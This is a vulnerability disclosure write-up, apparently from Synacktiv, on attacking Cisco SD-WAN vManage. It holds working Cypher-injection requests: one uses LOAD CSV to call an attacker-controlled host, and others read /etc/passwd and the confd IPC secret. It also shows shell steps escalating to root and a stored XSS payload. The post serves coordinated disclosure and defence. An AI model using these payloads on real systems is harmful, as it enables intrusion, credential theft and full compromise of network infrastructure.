Pentesting Cisco SD-WAN Part 1: Attacking vManage

In late 2019, a customer asked Synacktiv to perform a security assessment in a few days of their SD-WAN project based on the Cisco SD-WAN solution. During this engagement, we actually found a few interesting vulnerabilities in different components.

For this first article, we will focus on the vManage component which was recently patched to address the following vulnerabilities:

SD-WAN is a software-defined approach to managing the wide-area network (WAN), using remotely configurable devices through some web interfaces. Cisco acquired the Viptela solution that consists in four main components:

  • vManage - Management Dashboard.
  • vEdge - The edge router at branches.
  • vBond - The Orchestrator.
  • vSmart - The Controller.

Basically, vManage is the management interface that operations team is using for its day to day activities.

CVE-2019-16012: vManage Cypher injection

Using a combination of dynamic and static analysis of the vManage Java application, we identified an endpoint which requires a user input that is not correctly sanitized. By adding \' to the HTTP parameter, the following error appears:

GET /dataservice/group/devices?groupId=test\' HTTP/1.1
Host: vmanage-XXXXXX.viptela.net
[...]

HTTP/1.1 500 Internal Server Error
Cache-Control: no-cache, no-store, must-revalidate
X-Frame-Options: DENY
Date: Mon, 02 Sep 2019 07:27:11 GMT
Connection: close
Vary: Accept-Encoding
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Type: application/json
Content-Length: 1927

Invalid input ''': expected whitespace, '.', node labels, '[', "=~", IN, STARTS, ENDS, CONTAINS, IS, '^', '*', '/', '%', '+', '-', '=', "<>", "!=", '<', '>', "<=", ">=", AND, XOR, OR or ')' (line 1, column 120 (offset: 119))
"MATCH (n:vmanagedbDEVICENODE)  with n  match (n)-[xa1:vmanagedbDEVICE]->(a1) with n, a1, xa1 match (n)  WHERE ('test\\'' IN n.`groupId` and n.`device-model` <> 'vedge-ccm') RETURN  n.`deviceId` as `deviceId` ,n.`system-ip` as `system-ip` ,n.`host-name` as `host-name` ,n.`reachability` as `reachability` ,n.`status` as `status` ,n.`personality` as `personality` ,n.`device-type` as `device-type` ,n.`timezone` as `timezone` ,n.`device-groups` as `device-groups` ,n.`lastupdated` as `lastupdated` ,n.`bfdSessionsUp` as `bfdSessionsUp` ,n.`domain-id` as `domain-id` ,n.`board-serial` as `board-serial` ,n.`certificate-validity` as `certificate-validity` ,n.`max-controllers` as `max-controllers` ,n.`uuid` as `uuid` ,n.`bfdSessions` as `bfdSessions` ,n.`controlConnections` as `controlConnections` ,n.`device-model` as `device-model` ,n.`version` as `version` ,n.`connectedVManages` as `connectedVManages` ,n.`site-id` as `site-id` ,n.`ompPeers` as `ompPeers` ,n.`latitude` as `latitude` ,n.`longitude` as `longitude` ,n.`isDeviceGeoData` as `isDeviceGeoData` ,n.`platform` as `platform` ,n.`uptime-date` as `uptime-date` ,n.`statusOrder` as `statusOrder` ,n.`device-os` as `device-os` ,a1.`validity` as `validity` ,n.`state` as `state` ,n.`state_description` as `state_description` ,n.`model_sku` as `model_sku` ,n.`local-system-ip` as `local-system-ip` ,n.`total_cpu_count` as `total_cpu_count` ,n.`linux_cpu_count` as `linux_cpu_count` ,n.`testbed_mode` as `testbed_mode` ,n.`layoutLevel` AS `layoutLevel`,n.`asc` AS `asc` order by `layoutLevel` ASC,`asc` ASC,`host-name` ASC  "

This behavior can be explained by reviewing the source code of the endpoint (classes/com/viptela/vmanage/server/group/DeviceGroupRestfulResource.java), which uses the listDevicesForAGroup function, with groupId as a parameter but fails to sanitize this input:

public JsonArray listDevicesForAGroup(String groupId, Collection<DeviceType> allowedPersonality)
{
  groupId = groupId.replace("'", "\\'");
  VGraphDataStore dataStore = getDatabaseManager().getGraphDataStore();Throwable localThrowable3 = null;
  try {
[...]
    queryBuilder.has(groupId, Operator.IN, "groupId");
    queryBuilder.has("device-model", Operator.NOT_EQUAL, DeviceModelName.CCM.getName());

This endpoint can be reached from the lowest privilege but using this injection, we can retrieve sensitive data, such as the configuration of devices and passwords hashes.

LOAD CSV^WREQUEST^WFILE

That's nice, that's the purpose of an injection, but we're used to classic DBMS with features such as LOAD DATA INFILE or LOAD_FILE(), so we took a look at the documentation of Neo4j and found that the Cypher query language supports the LOAD CSV clause that can be used to perform requests to an attacker controlled server:

GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"http%3a//sc89bh0uzi86883zeezrpqtodfj57u.controlled.tld\"+AS+n+RETURN+n+//+' HTTP/1.1
Host: vmanage-XXXXXX.viptela.net

<html><body>9r0z5rg1gsunj37d5irwqczjigz</body></html>

It was not really interesting to load external files in our context but thanks to a misconfiguration of the Neo4j instance on the server (dbms.directories.import), we are able to read files on the filesystem:

GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/passwd\"+AS+n+RETURN+n+//+' HTTP/1.1
Host: vmanage-XXXXXX.viptela.net

root:x:0:0:root:/home/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
[...]

Give me a root shell

vManage users are mapped to Linux users and they can connect to the SSH server. Please note the SSH server may not be exposed.

The /etc/passwd configuration shows the default shell for these users:

admin:x:1000:1000::/home/admin:/usr/sbin/viptela_cli
vmanage-admin:x:1001:1001::/home/vmanage-admin:/usr/sbin/viptela_cli
basic:x:1002:100::/home/basic:/usr/sbin/viptela_cli
viptela-reserved-cloudops:x:1003:100::/home/viptela-reserved-cloudops:/usr/sbin/viptela_cli
viptela-reserved-tac:x:1004:100::/home/viptela-reserved-tac:/usr/sbin/viptela_cli
viptela-reserved-dca:x:1005:1005::/home/viptela-reserved-dca:/usr/sbin/viptela_cli
viptela-reserved-cloud:x:1006:1006::/home/viptela-reserved-cloud:/usr/sbin/viptela_cli

With the same low privileges user account, it is possible to connect via SSH to the vManage instance and gain a restricted shell. In a nutshell, the viptela_cli binary specified in /etc/passwd replaces itself with the confd_cli binary, which communicates with the confd daemon using a socket on localhost port 4565, setting up kind of an interactive TTY and a restricted shell (Viptela CLI). This restricted shell allows us to runs the vshell, which starts /bin/bash.

$ ssh admin@172.28.128.5
viptela 18.4.1

Welcome to Viptela CLI
admin connected from 172.28.128.1 using ssh on vmanage
vmanage# vshell
vmanage:~$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
vmanage:~$ pstree
runsvdir-+-nginx---nginx
[...]
         |-runsv-+-logger
         |       `-sysmgrd-+-cfgmgr
         |                 |-confd-+-cmdptywrapper---bash
         |                 |       `-cmdptywrapper---bash---pstree
[...]
         |                 |-sshd---sshd---sshd---confd_cli

After digging a little through some documentation related to confd and the different binaries (accessible with an account on the Cisco website), we found that to authenticate the IPC socket, it uses a secret located in /etc/confd/confd_ipc_secret:

vmanage:~$ ls -al /etc/confd/confd_ipc_secret 
-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret

Remember our Neo4j instance? It is running under the vmanage user's privileges, thus allowing us to retrieve the file using the previous vulnerability:

GET
/dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1
Host: vmanage-XXXXXX.viptela.net 

[...]
"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}

The confd_cli program does not support command line arguments but calls /usr/bin/confd_cli_user with arguments. So, we could directly call /usr/bin/confd_cli_user with our own set of arguments. However it's not readable with our current privileges, so we have to retrieve it from the rootfs and copy it using scp, read the help, and use it to get the shell:

vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret
vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret 
vManage:~$ /tmp/confd_cli_user -U 0 -G 0
Welcome to Viptela CLI
admin connected from 127.0.0.1 using console on vManage
vManage# vshell
vManage:~# id
uid=0(root) gid=0(root) groups=0(root)

Cheers

CVE-2019-16011: vManage Stored XSS

This vulnerability is a classic. As an authenticated user, when using the API to retrieve logs, the HTML elements present in the page are not encoded. Furthermore, the Content-Type returned by the server is text/html, thus leading to JavaScript execution inside user's browser. Let's poison the logs by creating a stacktrace using the following URL:

https://vmanage-xxxxx.viptela.net/dataservice/util/logfile/appserver/lastnlines?lines=1%3Cscript%3Ealert(1)%3C/script%3E.

When this URL is accessed, it will log an error with malicious HTML code and then, it print the logs, executing the payload:

HTTP/1.1 200 OK
Connection: close
Vary: Accept-Encoding
Cache-Control: no-cache, no-store, must-revalidate
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Frame-Options: DENY
Content-Type: text/html
Date: Fri, 30 Aug 2019 13:29:48 GMT

[...]
Caused by: java.lang.NumberFormatException: For input string: "1<script>alert(1)</script>"
    at java.lang.NumberFormatException.forInputString(NumberFormatException.java:65) [rt.jar:1.8.0_162]
    at java.lang.Integer.parseInt(Integer.java:580) [rt.jar:1.8.0_162]

ho my an alert(1)

A note on vManage technologies

If we take a look at the running processes on vManage, it looks like a zoo with plenty of services:

  • JBoss
  • Kafka
  • Neo4j
  • ElasticSearch
  • OrientDB
  • Consul
  • ZooKeeper
  • and more...

Zoo

As one can see, the attack surface is quite large but not all services are exposed. Nonetheless, other privileges escalations may exist using the listed services as they are running as the vmanage user.

Conclusion

The vManage solution looks like a patchwork of technologies, which often introduce vulnerabilities as they are not all hardened nor isolated from one another.

To reduce the risk of exploitation, it is crucial to restrict network access to this interface only to designated administrators.

In the next article, we will talk about another component, and its full compromise. Stay tuned!

Timeline

  • 23/09/2019: Vulnerabilities details sent to psirt@cisco.com
  • 25/09/2019: Reply from Cisco
  • 30/09/2019: Agreed on 90 days before disclosure
  • 22/10/2019: Cisco asked to delay the disclosure to mid or late January 2020
  • 09/01/2020: Cisco asked for additionnal 90 days delay
  • 10/01/2020: Agreed for additionnal 60 days delay
  • 18/03/2020: Security advisories (CSCvr42496 & CSCvs09263) and SD-WAN Software version 19.2.2 released

References